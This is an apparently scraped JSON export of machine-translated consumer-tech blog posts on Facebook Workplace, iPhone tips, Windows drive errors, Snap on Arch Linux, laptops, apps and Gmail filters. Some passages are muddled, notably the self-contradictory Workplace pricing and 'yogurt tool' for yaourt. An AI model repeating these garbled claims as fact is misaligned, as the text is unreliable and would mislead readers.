information about them and how to contact and send messages using Workchat.\nChat:   Workchat in Workplace will connect you with any colleague. You can do one-person chat with 1 person or 1 person with different people. In addition, you can share files, make video calls, . with your team members.\nEvents:   Users can use Workplace to plan corporate or business events (time, location, who attend events, .).\nSearch (search):   Workplace allows you to search for names or phrases and display search results. You can search for colleagues' profiles or phrases mentioned on posts.\nNotification:   Similar to the original Facebook version, Workplace will notify you whenever there are new messages or replies on posts. You can receive notifications by email, on the Workplace app for mobile devices and on the Workplace account page.\n4. Log in to Facebook Workplace You can login to Facebook Workplace on the computer website by visiting [your company name].facebook.com (such as company.facebook.com ). Or you can log in to the free Workplace apps for iPhone or Android devices to access your account.\n5. When is Facebook Workplace available? Workplace is now available for teams, companies, businesses, non-profit organizations and educational institutions.\n6. Facebook Workplace is not a free service Workplace is not a free service. Unless you are a non-profit organization or an educational institution, you will be able to use the service for free, otherwise you will get a free 3-month trial then pay 3 USD / month if there are less than 1,000 active members, $ 2 / month if there are 1,001 - 10,000 members and pay $ 1 / month if more than 10,000 members.\nAlso Facebook Workplace is a free advertising site .\n7. How to set up Facebook Workplace? Visit workplace.fb.com, then click the Apply button to start setting up Workplace for your team (if you are Admin).\nRefer to some of the following articles: 5 tips to keep your social network account in \"safe\" state How do hackers attack your Facebok account and how to prevent this process? Instructions for setting up auto reply to messages on Facebook Fanpage Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrex0bKroaGenHqirs6uq2aekZiyo7vOpGSwp6Kgva2twp5kmqappLumedKhpq6klGK4r7vW\n","link":"/post/everything-about-facebook-workplace-anyone-should-know/","section":"post","tags":null,"title":"Everything about Facebook Workplace anyone should know"},{"body":"Helite has many years of experience in developing a dedicated airbag system for various activities, from horse riding to skiing. Now, this French company has just released a specialized airbag for the elderly. It's called Hip'Air belt.\nThis device can sense a sudden fall and automatically inflates the front hip protector for about 1.3 seconds, protecting the user's hips from breaking.\n  Like other specialized airbag systems, Hip'Air relies on electronic hardware, including gyroscopes and accelerometers, based on a carefully developed algorithm. The system analyzes movements up to 1,000 times per second, detecting falls within 200ms and filling airbags below 80ms later.\nBoth left and right airbags expand to cover the face from the upper hip to the middle of the thigh before the impact hits the ground. Helite says that tough nylon leather bags keep the body safe from the impact.\nHip'Air has the most compact and simple design possible, integrating electronic devices and air box into the center in front. The company says that this belt fits comfortably on the hip and allows users to move freely. The skin of the belt is washable, only the connecting part is not washable.\nThe keychain is double as the power switch, when wearing Hip'Air on its waist will be activated and ready for hip protection. Green light indicates everything is ready. When removing the belt, or when no motion is detected, it goes to sleep mode to save battery power. Rechargeable batteries can last up to 15 days, red light and sound alerts the owner to know when to charge the battery.\nHip'Air is not the only belt on the market that has this function, as other airbag protection devices are also being developed, including one from ActiveProtective startup. The company is planning to bring Hip'Air to market with four adjustable sizes in March for 600 Euro (about 720 USD).\nSomeday in the future, perhaps we will all protect ourselves with a full body airbag like a cocoon with low cost and affordable price. But until then, we will continue to see the development and change of disposable airbag devices.\nThe video below of Helite provides a closer look at Hip'Air's features and activities.\nSee more:\nAthletes for Hex athletes help measure muscle oxygen levels consumed Testing electronic bikes for the elderly NeoMano - robotic gloves for paralyzed patients ncG1vNJzZmismaXArq3KnmWcp51ktaa4yK2cZquRm7K1xYybnKWso2K1prjPZqerp6SasLV52Kisq2WYnr20\n","link":"/post/helite-safety-belts-help-protect-your-hips/","section":"post","tags":null,"title":"Helite safety belts help protect your hips"},{"body":"If you regularly take photos, record videos, the phone will quickly report full memory. There are many different ways to increase the amount of memory on iPhone such as deleting long messages, clearing application cache, etc. Or we can reduce the size of images and videos available on the device.\nWith a huge collection of images or videos stored on the device will take up quite a bit of memory. This will make the device work more slowly, with no available space to install other applications or have trouble sending emails. To compress the video capacity on iPhone, you can use the Storage Space Plus application according to the article below.\nHow to increase the size of your iPhone when memory runs out Increase free memory capacity for iPhone, iPad Instructions to transfer applications from memory to SD memory card on Android device How to compress photos and videos on iPhone Step 1:\nUsers click on the link below to download the Storage Space Plus application for iOS devices. The application has a Vietnamese interface so it is easy to follow.\nDownload the iOS Storage Space Plus app After starting the application, you will see a message to access the photo album, press OK . Soon the user will see all the photo albums and videos available on the device. However, click on the gear icon to proceed to set the file compression feature on demand.\n   Step 2:\nHere users will see options for Compression Quality and Image Size . The compression quality and image size are low, the memory capacity on the device will be more optimal. If you want to leave the quality or size of the compressed file as the original file, select Original.\nThen go back to the album interface to select the image and video above to proceed with file compression.\nWhen clicking on an album, the Storage Space Plus application displays three options as shown below.\nDelete all: Delete all photos / videos in this album. All compression: Compress all files in this album. I want to choose: Click on this option to browse and perform actions for each file.    Step 3:\nThe photo gallery will now overlap the images as shown below.\nSwipe right to delete photo / video or click Delete. Swipe left to photo / video to compress or press Zipped . Click Undo to restore deleted or uncompressed files. Click Next to skip this file and view the next photo, video. Note , each image will have the current capacity and capacity after compression so that users know how much the image is compressed. In addition, users can click Mass mode to compress or delete the bulk picture. When the compression is finished, press the Done right corner button on the top of the screen.\n   Step 4:\nIn the Summary view , we will see the message of the number of compressed images, file size information before or after compression, the amount of space saved when compressed. Click Make changes to perform compression.\nAfter the compression is complete, the application will ask the user to delete the original file. If you want to keep it, press Reject, if you want to delete it, click Delete.\n    The compressed image will be saved in the album of the recently compressed original and album files. The original files that you select Delete will be saved in the recently deleted item. You can access to delete or restore if you want.\n    With various image and video compression options, Storage Space Plus will help you regain data space on iPhone. The application has a Vietnamese interface so it is very easy to use.\nSee more:\nHow to use Photo Compress to compress Android images How to reduce the capacity of free online images Instructions to reduce the volume of photos in Photoshop I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2zsdKsZKmgn6m8tHnVopuep6Nitq%2Bv0Z6YrJ1dnr2pu82eZJyZoJawqsDY\n","link":"/post/how-to-compress-photos-videos-increase-iphone-capacity/","section":"post","tags":null,"title":"How to compress photos, videos increase iPhone capacity"},{"body":"Previously, jailbreak was the only way to download torrents directly to iOS devices. Now you can download the torrent file to your iPhone or iPad without jailbreaking it.\nTorrent file or Magnet link To get torrent files or magnet links, you can access the following legitimate addresses: PublicDomainTorrents.info, archive.org/details/feature_films, and LegitTorrents.info. You can also find addresses to download other torrent files with the Top 22 most popular torrent sharing sites that TipsMake.com has introduced.\nBoth torrent files or magnet links are used to connect torrent clients to the file provider you want. For iPhone users, magnet links are easier to use.\nOvercoming limits with Torrent clients In addition to the most popular torrent download tools on your computer, on iPhone you can use Torrent clients like Zbigz.com, Bitport.io, Filestream.me and Torrentsafe.com to overcome the limitations when downloading torrents.\nHowever Seedr.cc is still the most popular. It provides 2GB of free storage. In addition, this service is suitable for mobile devices that allow you to store multiple files as long as you do not exceed 2GB. It also provides a way to increase free space up to 5GB. You only need to register.\n  How to download torrent to iPhone First, download the torrent file or copy the magnet link. If you use magnet links, just copy and paste it into Seedr.cc.\n  With torrents, you'll have to take more steps. First, download the torrent file and save it to your iPhone . Select More after you click the Download button, then select Save to Files in the popup window. Choose where you want to save the file. Depending on the application you have on iPhone, the options may vary. For safety, you should use iCloud Drive.\nNote: Save to Files feature is only available on iOS 11.\n  The next step is to download the torrent file to Seedr.cc. Click the (+) icon on the Seedr page, select the 'Upload' button -\u0026gt; Browse .\n  Then find the torrent file you saved earlier.\n  Whether using the magnet link or torrent file, the file will be downloaded to the server in the background. You can close the browser window and perform other operations while the process is finished.\nYou cannot add other files when downloading a file is in progress. The download speed of torrent will depend on the quantity and quality of the file share.\n  Once completed, the file is stored in the Seedr.cc server. You can download the device by clicking the down arrow to the right of the file and selecting Download . Then select where to save the file.\n  Finally, you just need to open the file with the default application.\n  So with the little trick above, the process of downloading torrent files to iPhone will be quite simple and easy. You just need to download torrent files, torrent clients, iPhone and a network connection strong enough to be able to enjoy your favorite torrent content right on your iPhone.\nSee more:\nHow to download movie videos on movie sites, bilutv, banhtv, . How to download YouTube videos to iPhone phones Instructions on how to listen to music on Youtube at Smartphone lock screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2noqeyr8DSZqanZZmltbC6xGauoqyYpMK1ecmaoKWaopqurA%3D%3D\n","link":"/post/how-to-download-torrents-on-iphone-without-jailbreak/","section":"post","tags":null,"title":"How to download Torrents on iPhone without jailbreak"},{"body":"If not fixed in time, the error will cause you to lose important files and data. Here's exactly what to do when you notice this problem on any external hard drive.\nWhat does 'The parameter is incorrect' error mean? Whenever you connect an external hard drive to your PC, you will be able to view your files in File Explorer. For some reason, the external hard drive may fail (temporarily) and display the error message: 'Location Drive is not accessible. The parameter is incorrect '.\n  It is also known as error 0x80070057. There can be many reasons for this error - from the USB port to bad sectors in the drive or needing driver updates. The solutions also vary, from simple command line error correction to using official data recovery software.\nHow to fix 'The Parameter Is Incorrect' error in Windows 10 1. Perform the Quick Scan test Initially, check to see if the system has malware. Go to Virus \u0026amp; Threat Protection from the Start menu and do a quick scan for Quick scan for any threats. If any malware is found, disconnect the external device immediately as it could be the source of the problem. In most cases, Windows 10 will warn you in advance of such malware, as it will detect it as soon as it reaches the system.\n  2. Run Chkdsk to fix hard drive errors If you don't find any malware, then the external hard drive will be checked for data integrity. Windows Chkdsk is the most useful utility for detecting this. Open a command line window in admin mode from the Start menu. Enter the following information based on the name automatically assigned to the external hard drive:\nchkdsk Drive name:/f/x/r The system will run a full disk scan and fix any data integrity problems. It examines basic file structure, security descriptor, USN journaling, and bad clusters in file data. Restart your computer after the scan has finished and you should no longer have any problems connecting the external hard drive.\n3. Run sfc / scannow on the external hard drive Sfc / scannow is one of the best Windows built-in tools to repair corrupt system files. But did you know it can also be used to repair corrupt files in external hard drive? To access this fix setting, open a command line window in Admin mode and change a little bit of the command as shown below:\nsfc/scannow/offbootdir=Drive Name: /offwindir=Drive name:windows The target drive is now selected to check the file system. You will now see a menu of options. Select the first option: sfc / scannow to complete the drive scan. Be patient, as this process can be time consuming and go through 4 or 5 stages based on the number of entries in your external hard drive. For smaller USB drives and SD cards, this won't take long. The file system checker will automatically detect and correct errors.\n4. Format the external hard drive If none of the above methods worked, the external hard drive might have encountered a problem. This can only be fixed by reformatting. Go to the main menu 'This PC' on your Windows 10 PC, select your external hard drive and click Format.\n  Depending on whether the file system on the drive is 'NTFS' or 'FAT' (you can find it in the Chkdsk utility discussed above), you need to make a choice. If you want to create a new volume label, you can try it, as it will ensure a new approach to the drive. Note that formatting will erase all data on the drive.\n5. Update USB drivers and drives If the error is on the drive or USB port, you can check to see if any driver update is needed. (Usually you will get a warning from Windows first.) If not, go to 'Device Manager' from the Start menu.\nNow, select both the drive and the USB drive, and then right-click to update the driver.\n  If a new driver is found online, it will automatically be added to your system. You can restart the machine to see if the parameter error is gone.\n6. Make sure the decimal symbol is in the date and time settings Sometimes a syntax problem in a date-time format can also cause parameter errors. Go to Control Panel\u0026gt; Clock and Region and select Regional Date and Time format\u0026gt; Additional settings . Here, you need to make sure that the 'decimal notation' . ' being used.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmp5qqkaKytbHRZqCsZZmjsLC%2B0Z6arWWVp7%2BwvoyipWavmaOxsMPSZmhp\n","link":"/post/how-to-fix-the-parameter-is-incorrect-error-in-windows-10/","section":"post","tags":null,"title":"How to fix 'The Parameter Is Incorrect' error in Windows 10"},{"body":"If you are a longtime Linux user, you may know how difficult it is to install new applications before. Unless it is included in the installer, you must go through the configuration and installation process, usually looking for missing dependencies. Package managers like apt and yum make this more manageable, but dependencies can still be a headache.\nYou may have heard about Snap, the tool claims to fix many of these issues. You may have heard that Snap is only available in Ubuntu, but fortunately, that is not true.\nWhat is the Snap application? Snap applications, or snapshots, are not dependent on the distribution, so ideally they will run the same on any system. To achieve this, most of the dependency and runtime that the application needs to run are included in Snap. This means that once you have set up and run Snap on your system, it is much easier to add applications that need some dependency.\n  Snap is supported by Canonical, which is why it is often mentioned in Ubuntu, but it can run on any major Linux distribution. Arch is even an officially supported distribution, so Snap is a great way to run unpackaged applications for Arch.\nInstall snapd daemon To install Snap applications on the system, you will need to install the snapd daemon. Although Snap officially supports Arch, you will still need to install it from Arch User Repository (AUR). Fortunately, this is easy to do, using the yogurt tool .\n  \nFirst, install snapd by running the following command:\nyaourt -S snapd  Now, you need to enable the service to run. To do this, just type the following command:\nsystemctl enable --now snapd.socket  Install Snap application Now, you have successfully installed Snap. You can use it to install packages like any other package manager. For example, to install a specific application using Snap, simply run the following command:\nsnap install application-name  To list the Snap applications available on the system, run the following command:\nsnap list  To search for a package, you can query whether it is available by typing the following command:\nsnap find searchterm    Finally, to remove a package, just run this command:\nsnap remove application-name  Other Snap tips and tricks Snap applications are automatically updated by default, but to manually update all applications, run the following command:\nsnap refresh  Some Snap applications do not use the traditional path, '/ var / lib / snapd / snap'. Instead, they install '/ snap'. To be able to support the installation of these 'classic' Snap applications, run the following command:\nln -s /var/lib/snapd/snap /snap  You can now install and run these applications, but they will be installed with all your other Snap apps. Snap is suitable for both types of applications and standard Filesystem Hierarchy Standard compliance.\nSnap is not the only tool of this type.Flatpak and AppImage are two similar package systems that handle many of the same problems. Thanks to support for Ubuntu, Snap seems to be the most popular option, at least for the time being.\nBut does that mean Snap is the best choice? Refer to the article: 9 most popular Linux package managers today to find the answer!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqqeZoGKusbzLopqarJmku261zWaYq5uYYrmqutSx\n","link":"/post/how-to-install-snap-application-in-arch-linux/","section":"post","tags":null,"title":"How to install Snap application in Arch Linux"},{"body":"Minimalist style photographic art is also very much liked by photographers, photographers. Images with a simple layout, not too many subjects, shapes, lines, but make an impression and interest in viewers. And in order to make your photo more beautiful, you should also have tips when taking minimal photos.\n1. Select the appropriate layout: Simple concept completely different from minimalist. Even the simpler the photo, the more creative you have to be. To capture minimal images, you must know how to use and arrange empty spaces. Thus, the subject does not need to be too big and still impress. Consider carefully what to put in the frame, and what to put out. This is not an easy thing, and you will need to practice a lot until you are mature. When shooting, leave plenty of space behind or open a large aperture to separate the subject from the background .\n  One way to improve layout is to pay attention to it from the moment you are about to take a photo, instead of arranging the composition by cropping in post-production. The use of large openings will also help you separate the subject from the background, creating a deep field for the image.\n2. Harmonious color combination: Bright colors, with high contrast, will help the subject stand out more. So is the surface of the subject, you should choose subjects with surfaces that make viewers easy to associate and feel.\nSometimes you will have to find different shooting angles to bring up the colors and surfaces of the subject. Don't be afraid, try all the straight or inclined angles, high or low.\n  3. Using lines and shapes: Straight lines can make the picture more noticeable. Let's start with the structures around us, the straight and shaping lines of these buildings can create a beautiful picture. Or you can look for something simpler, like a bird parked on a wire. Around you have a lot of beautiful images, you just need to find it.\n  4. Bring the story into the picture: A unique minimalist picture is a picture that tells a story. People and related topics are always the main goals of photography, but you can still create minimalistic photographs by focusing on the background. Straight, curved, and shaded lines can all create emotions for the image. Sometimes the surroundings can create a story for the photo, and the photographer's job is to recognize this moment. There are times when you have to pre-select a scene, and wait patiently for the subject to move into the scene.\n  Taking photos in a minimalist way can still create new emotions, especially for viewers if you know how to capture, choose a composition or color and create more different ways of shooting. Take your camera and experience it with many different photos. And you will have yourself useful experiences when taking photos of minimalist style.\nRefer to the following articles: 10 simple photography techniques for impressive photos 9 basic rules of composition in photography 10 tips for taking beautiful photos with digital cameras I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuwMeeZKmgn6m8brXNraZmmV2ivLOxjJqpraGjqbakecyipaKlkaG2tMCMrKuypJU%3D\n","link":"/post/how-to-turn-the-photo-into-a-more-artistic-minimalist-style/","section":"post","tags":null,"title":"How to turn the photo into a more artistic minimalist style"},{"body":"Yesterday (July 14), Lenovo officially unveiled two ultra-portable notebook products (ultramobile laptop). Including the ThinkPad X200 capable of competing with the MacBook Air on \"ultra-thin levels\". The manufacturer said that if the four-cell battery (4-cell battery) is used, the ThinkPad X200's weight is only about 1.34kg - lighter than the rival MacBook Air with exactly 10 grams. The actual weight of the MacBook Air is 1.35kg.\n  If you change to a nine-cell battery, the ThinkPad X200's weight will be pushed up to 1.6kg. But in return, the usage time of the X200 can be up to 9 hours continuously to recharge the battery.\nThe ThinkPad X200 is powered by an Intel Core 2 Duo processor with a clock speed of 2.26GHz to 2.40Ghz with 3MB of cache memory, up to 4GB DDR3 RAM, integrated graphics and operating system Windows Vista. In terms of mobile network connectivity, the ThinkPad X200 supports parallel WiFi and broadband mobile network connectivity. It is expected that by the end of this year Lenovo will add to the ultraportable notebook line that supports UWB (UltraWide Band), WiMAX and GPS global positioning. Other features of the X200 include a 12.1-inch display screen, 64GB Flash SSD or a traditional hard drive of up to 320GB, Blu-ray Disc . The reference price of X200 is USD 1,999. The product is expected to be available in the market in August next. Launched with the ThinkPad X200 is the ultra-portable IdeaPad U330. This is also an ultra-thin laptop. The thickest point on the U330 body is only about 2.2cm and weighs about 1.8kg. U330 uses Intel Core 2 Duo P7350 chip, 13.3-inch screen, traditional hard drive to 320GB, supports standard WiFi A / G / N network.\nncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZqSRqruktMSsZK2vn2LCrcDRmqeoqqSWr62xjKWYqayfpcA%3D\n","link":"/post/lenovo-launches-two-ultra-portable-laptops/","section":"post","tags":null,"title":"Lenovo launches two ultra-portable laptops"},{"body":"The IdeaPad U260 laptop is 12.5-inch with a slim design that is not inferior to the MacBook Air with the thickest part only 1.8 cm and weighing 1.3 kg.\n\u0026gt;\u0026gt;\u0026gt;Lenovo's new \"ultraportable\" close-up\n  U260 has an aluminum frame and 2 brown or orange designs. Machine equipped with Core i3, i5 or i7 chips save power, screen resolution of 1366 x 768 pixels, 4 GB RAM, 320 GB hard drive, 1 W speaker and use Windows 7 Home Premium operating system.\nVideo for Lenovo IdeaPad U260 laptop box.\nThe product uses multi-touch mirror touchpad, stylish curved keyboard and a series of HDMI, USB, Wi-Fi, Bluetooth connectivity. According to Engadget , the 4 cells of the device provide continuous HD viewing time of nearly 3 hours.\nThe Lenovo U260 is being sold at a starting price of $ 900, $ 100 less than the lowest version of the MacBook Air.\nncG1vNJzZmismaXArq3KnmWcp51kvLGxzWaroZ1dqMKxsdGmpp2dnGK5orzTqKdmmp%2BterPBzaegp59dobKvu9Woqmabn6eybrWMnJ%2BiqA%3D%3D\n","link":"/post/open-the-supermodel-laptop-box-running-lenovo-s-core-i-chip/","section":"post","tags":null,"title":"Open the 'supermodel' laptop box running Lenovo's Core i chip"},{"body":"After stressful and tiring working hours, many people look to music to relieve themselves, relax their minds. The following article will suggest users some music playback applications that reduce fatigue, yoga exercises, or light-hearted stories. Most of the following applications take the theme of nature, songs with flowing streams, singing birds to a 4-season colorful forest background. Let's see what those applications are in the article below.\nJust 2 minutes, these 7 websites will help you relax your mind very effectively Best sleep application, anyone who sleeps must download immediately Top 10 indispensable apps that help you stay focused Relaxing, stress relief music applications 1. Relax Meditation\nDownload the application Relax Meditation The application includes songs, yoga exercises or gentle stories in English. The songs have no words, mainly musical instruments, sound waves, yoga songs, bringing comfort and tranquility. Especially the application also has a timer to turn it off when needed. But users should keep in mind not to minimize the interface window because the application will stop playing.\n  2. Sleep Sounds\nDownload the Sleep Sounds app Sleep Sounds will split into many audio topics such as the sound of rain falling, the sound of the waves, the sound of rain falling in the forest, . Especially the application provides a colorful nature interface, attracting users. We can listen to multiple sounds at the same time, mixing sounds together. If you want, you can also create playlists of audio topics you are listening, in the Playlist Name section to create playlist names. Click Save Combo to save the list.\n  These music playlists will be saved and sorted into different playlists.\n  3. 9Zen Sleep Sounds\nDownload the 9Zen Sleep Sounds app There are 25 different topics in the application, there is a timer mode and a night mode if you want to use it. There will be 8 audio themes provided in the free version. We will use the middle mouse to switch between audio themes.\n  If you want to timer turn off the sound click on the clock icon.\n  Night mode will limit light, images blinding, pressing the moon icon. At that time, the application interface will turn into a dark background and only show the time. To return to the original interface click on the empty area.\n  4. Relax Rain Sounds\nDownload Relax Rain Sounds application Relax Rain Sounds will take the sound theme of rain to bring a relaxing and comfortable moment to users. There will be more than 38 different sound themes for rain, and yoga sound themes.\n  Especially in the Sound Mixes section, users will hear sounds combining rain with musical instruments, or rain with sounds of natural mountain forests.\n  It also has a timer mode with different time frames, at least 2 minutes and a maximum of 4 hours. Depending on the needs of use, we can choose the time to automatically turn off the application.\n  5. Relaxing Sounds of Nature\nDownload the Relaxing Sounds of Nature application Natural scenery with ocean waves, whispering leaves, the sound of the deep blue ocean will be recreated in the Relaxing Sounds of Nature application. 13 different audio themes are 13 natural hours, creating a comfortable and relaxing space for listeners.\n  The application also features auto-off in about 30 minutes at least or in 4 hours of playback. Click on the clock icon to select the timer time.\n  6. 9Zen Lo-Fi Music\nDownload the 9Zen Lo-Fi Music app 9Zen Lo-Fi Music brings light Lo-Fi tunes and paintings in every music interface. Lo-Fi is a rather strange sound type of Low Fidelity phrase, with low fidelity, like the type of sound mixed together in a different artistic way. There will be 33 different audio themes and night mode to use when you want to reduce the light that affects the eyes at night.\n  The application will display the current time on the music playback interface so that the user knows the exact time.\n  Above are some applications for relaxing music, relieving stress, reducing stress after working hours, studying. These applications all take on different sound themes in nature, soft sounds, not too loud or hasty.\nSee more:\nHow to fold a laptop without turning off the phone, still listening to music Top 9 interesting mobile apps you may have never known 13 extremely useful mobile apps that make life easier Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kv6a4wLGgp59dosK0tcJmp6WZqZeupLeMmqeppJmYrrW1zqeqZqeeYsSqusOorqxlYWU%3D\n","link":"/post/relaxing-music-playback-applications-on-windows-10/","section":"post","tags":null,"title":"Relaxing music playback applications on Windows 10"},{"body":"There is the fact that wired security cameras are always much more reliable and reliable than Wi-Fi wireless security cameras.However, there are some things you should know before investing in your apartment with a wired camera system.\nYou will need screen, mouse and keyboard Commercially available security camera systems include a DVR box and some compact cameras (and sometimes other necessary cables), they may not come with monitors, mice and desks. keys while these are devices that help control, manage the system and monitor the data collected from the camera.\nAnother strange thing is that there are a number of security camera systems that include mice, but most will not come with monitors - the most important device in the entire system.\n  So you will have to consider carefully before investing in installing a camera system, if you already have screens, mice and keyboards, do not say anything, but conversely, you will have to spend more money for the equipment. suffer from this.Unless you plan to connect the camera system to a managed NAS from your computer.\nInstall wiring system appropriately Since the cameras will need to be directly connected to the DVR box, you will need to find the correct way to route the camera system's cables properly.\nTherefore, plan in detail and make sure you know the correct layout of the wiring of your home wiring, find out if there is anything (like insulation or lines). underground) may interfere with the cable operation and it is best to have a map of the cable system in place before installing.\n  When you're done setting up a cable map, you will need to prepare the appropriate tools like electric drill, screw, tape, fastener .\nIt will be very messy! Unless you pay someone to do the work for you.Otherwise, to install wired security cameras, you will surely have to roll in the dusty loft or drill and drill the chisel on the wall with splinters of hair.To be fair, this is not an easy job.\n  Of course, it is not always difficult to install the camera system.You will feel lucky to just have to run the cable under the floor, through the basement, without drilling.But easy cases like this are not much.Therefore, in addition to the aforementioned tools, you should also prepare some safety protection tools for yourself such as protective clothing, gloves, shoes .\nShould the camera system be connected to the network? A great benefit of having a wired security camera is that you don't need to connect them to the Internet to use it.Unlike most Wi-Fi cameras often require an Internet connection to work.\n  However, the downside of a camera system that is not connected to the Internet is that you will not be able to access the remote system with your phone when you are not at home.Instead, you can only view and manage your camera system from the DVR box, via the monitor and other connected peripherals.\nThis is probably not a problem that is too important for most people, and there is another reason why it is not recommended to connect security cameras to the Internet to make your system safer. .However, if you still want to keep track of images from security cameras when you're away, you'll have to connect them to the Internet.\nSee more:\nInstructions for setting up Webcam as a surveillance camera How to use the old smartphone as an anti-theft surveillance camera IP Camera slows down network? This is how to fix it ncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmZ6en6eybrXNrKuapJyeu6h5wGauoqqVmXq0scKuqaKsqWKwornEq5hmq6mowaa5\n","link":"/post/things-to-know-before-installing-a-wired-security-camera-system/","section":"post","tags":null,"title":"Things to know before installing a wired security camera system"},{"body":"When 'dissecting' the interior of every Apple MacBook, the skilled engineers are impressed with the clean black circuit board and the components are neatly arranged inside.\nUnlike the majority of other electronics firms that choose green for the circuit board, Apple chose black. Why so?\n  First, we find out why most printed circuit boards are green.\nIn fact, that green is the plastic layer that covers the circuit board to prevent the formation of electrical bridges between welds with surrounding electrical paths and protection of copper electrical lines on the surface. circuit board surface from oxidation. In addition, it helps prevent solder from accidentally entering the circuit board during welding in the early days of wave soldering.\nAs can be seen, the color of the plastic coating around the circuit board is not related to its role. So, why are most printed circuit boards green?\nMany years ago, companies used fiberglass epoxy resin, which was naturally green to produce printed circuit boards. Therefore, printed circuit boards are usually green in the beginning.\n  In addition, another reason for manufacturers to choose green to cover most printed circuit boards is that this color makes the eyes less regulated when viewed. This is very useful for circuit board testing when this process is still done manually. Although testing is now automated, human testing is required many times before finishing. Therefore, green can still help increase performance in the circuit board manufacturing process.\nWhen the default manufacturers choose green for the printed circuit board, this color will be provided more, become popular in the market and cheaper than most other colors. Another reason for manufacturers to continue to choose green on printed circuit boards, maintain its dominance on circuit boards.\nHowever, the automation of circuit board testing is now more and more complete, so the role of using green on the printed circuit boards gradually disappears.\nAlong with that, in the early 2000s, manufacturers wanted to distinguish the level between their products (high-end product lines and lower-end product lines), so they often used two different colors.\nFor example, Asus often uses black for high-end motherboards and yellow for their regular motherboards.\nThe black circuit board is considered to be superior because it is more difficult to punch holes in printed circuit boards. Therefore, they have lower productivity, resulting in higher costs than circuit boards with other colors.\nHowever, it was not until Apple chose the blackboard used in the circuit boards for MacBook computers as well as their other devices that they gradually became the symbol for high-end products.\nThe USB connector explains why users have to plug the USB device into the computer 3 times Why is Xiaomi machine with high configuration but still cheap? ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqyYmnqivM%2BlnGaoop67tbHDZpqiqpOqtrV5waiYq5xdl7mir8pmrqGhnJp6rrvSrWSorJiav265wKesn5mTqcKzsdGsZJqqlWK0s7HEpw%3D%3D\n","link":"/post/why-is-the-apple-printed-circuit-board-black-while-most-other-manufacturers-are-green/","section":"post","tags":null,"title":"Why is the Apple printed circuit board black while most other manufacturers are green?"},{"body":"In the recent livestream about the content that will be released in version 2.5 of Genshin Impact, gamers will officially have the opportunity to own the new 5-star character Yae Miko in the near future. Besides, two other 5-star characters that are also planned to be rerun in the later part of version 2.5 are Raiden Shogun along with Sangonomiya Kokomi.\n  In addition, 4-star characters will be featured with Yae Miko banners that will include the likes of Thoma, Diona and Fischl. These are all very good auxiliary characters for Yae Miko when both Thoma and Diona will create very good shields, but Diona can also support many squads thanks to her good healing ability. As for Fischl, this character can act as a secondary DPS with the ability to charge Rage for other members of the squad.\nMeanwhile, the 5-star magic item dedicated to Yae Miko will be Kagura's True Intent along with the sword-shaped weapon, the Ban Nham End Luc, and the 4-star weapons are Tuyet Huyen, Chieu Tam and Vu Tai. In addition to the Table of Consequences that are very suitable for many characters, the remaining weapons are not very attractive and gamers do not need to spend Raw Stones for these items.\n  Currently, the above information has not been confirmed by miHoYo and is likely to change when the official banner is released. Initially, Yae Miko will be broadcast in the first part of version 2.5 and then the return of Raiden Shogun and Kokomi. With attractive banners like these, it is certain that gamers' lucky money will no longer be safe when version 2.5 is released in a short time.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9NmsJqdXaK2rLuMsKClpF2ZsqPB02auoqyYYsSprdNmmqGZopawtbHRrGSappRixKatz6ilrGWZo3pzgQ%3D%3D\n","link":"/post/yae-miko-will-debut-with-what-characters-and-weapons-in-2-5/","section":"post","tags":null,"title":"Yae Miko will debut with what characters and weapons in 2.5?"},{"body":"Suppose in Gmail's Inbox folder contains thousands of e-mails, every time you search is quite hard, you will probably want to remove old e-mails to make the mailbox more open.\n  If you have used Gmail for a long time, there must be a large amount of \"piling up\" email in your inbox. In fact, Gmail's Inbox folder can contain hundreds, thousands or even tens of thousands of messages.\nYou can completely clean old mail in the mailbox so everything is more neat. This is not exactly what you delete all old mail, but simply move them into Gmail's 'warehouse'. You can enter the warehouse by pressing All Mail located on the left menu. How to do the following:\n1. Open the web browser, type your Gmail address and log in to your Gmail account.\n2. Next to the Search the Web button at the top, click Create a filter\n3. Next, in the ' Has the words ' box, for example, you type in before: January 1, 2011, meaning that it will save all received messages before January 1, 2011. You can type any day you want, as long as it matches the available format, YYYY / MM / DD (year / month / day).\n4. After that, click the Next Step button.\n5. Check the box Skip the Inbox (Archive it) , then check the box Also apply filter to ### conversations below .\n6. Finally, click Create Filter . Depending on how many messages you have in the condition (in step 3 above), the process takes about 1 or 2 minutes.\nWhen you finish 6 steps, your Inbox will become more neat. Remember, you don't lose any messages, simply move old mail into a new location.\nncG1vNJzZmismaXArq3KnmWcp51ksK2xwKdkrqhdpLmlecSmmKKkXZu8s3nAZp6mmZmheqq6waiv\n","link":"/post/clean-up-old-e-mail-for-a-gmail-inbox/","section":"post","tags":null,"title":"'Clean up old e-mail for a Gmail inbox"},{"body":"All modern browsers come with support available for JavaScript. Often, you may need to manipulate to enable or disable this support. This chapter explains the procedure to enable and disable JavaScript support in your browser: Internet Explorer, Firefox, Chrome, and Opera .\nJavaScript in Internet Explorer Here are simple steps to enable or disable JavaScript in IE:\nSelect Tools -\u0026gt; Internet Options from the menu.\nSelect Security tab from that dialog box.\nClick to select Custom Level .\nDrag the mouse wheel until you see Scripting option .\nSelect Enable under Active scripting .\nFinally click OK and exit.\nTo disable JavaScript support in your IE, you need to select the Disable button under Active scripting .\nJavaScript in Firefox Here are the steps to enable or disable JavaScript in Firefox:\nOpen a new tab, write about: config in the address bar.\nYou will then see a warning dialog. Choose I'll be careful, I promise!\nYou will then see a list of configure options in your browser.\nIn the search bar, write javascript.enabled .\nHere, you will find the option to enable or disable JavaScript by right-clicking on the value of that option, selecting toggle .\nIf javascript.enabled is true, it changes to false with pressing 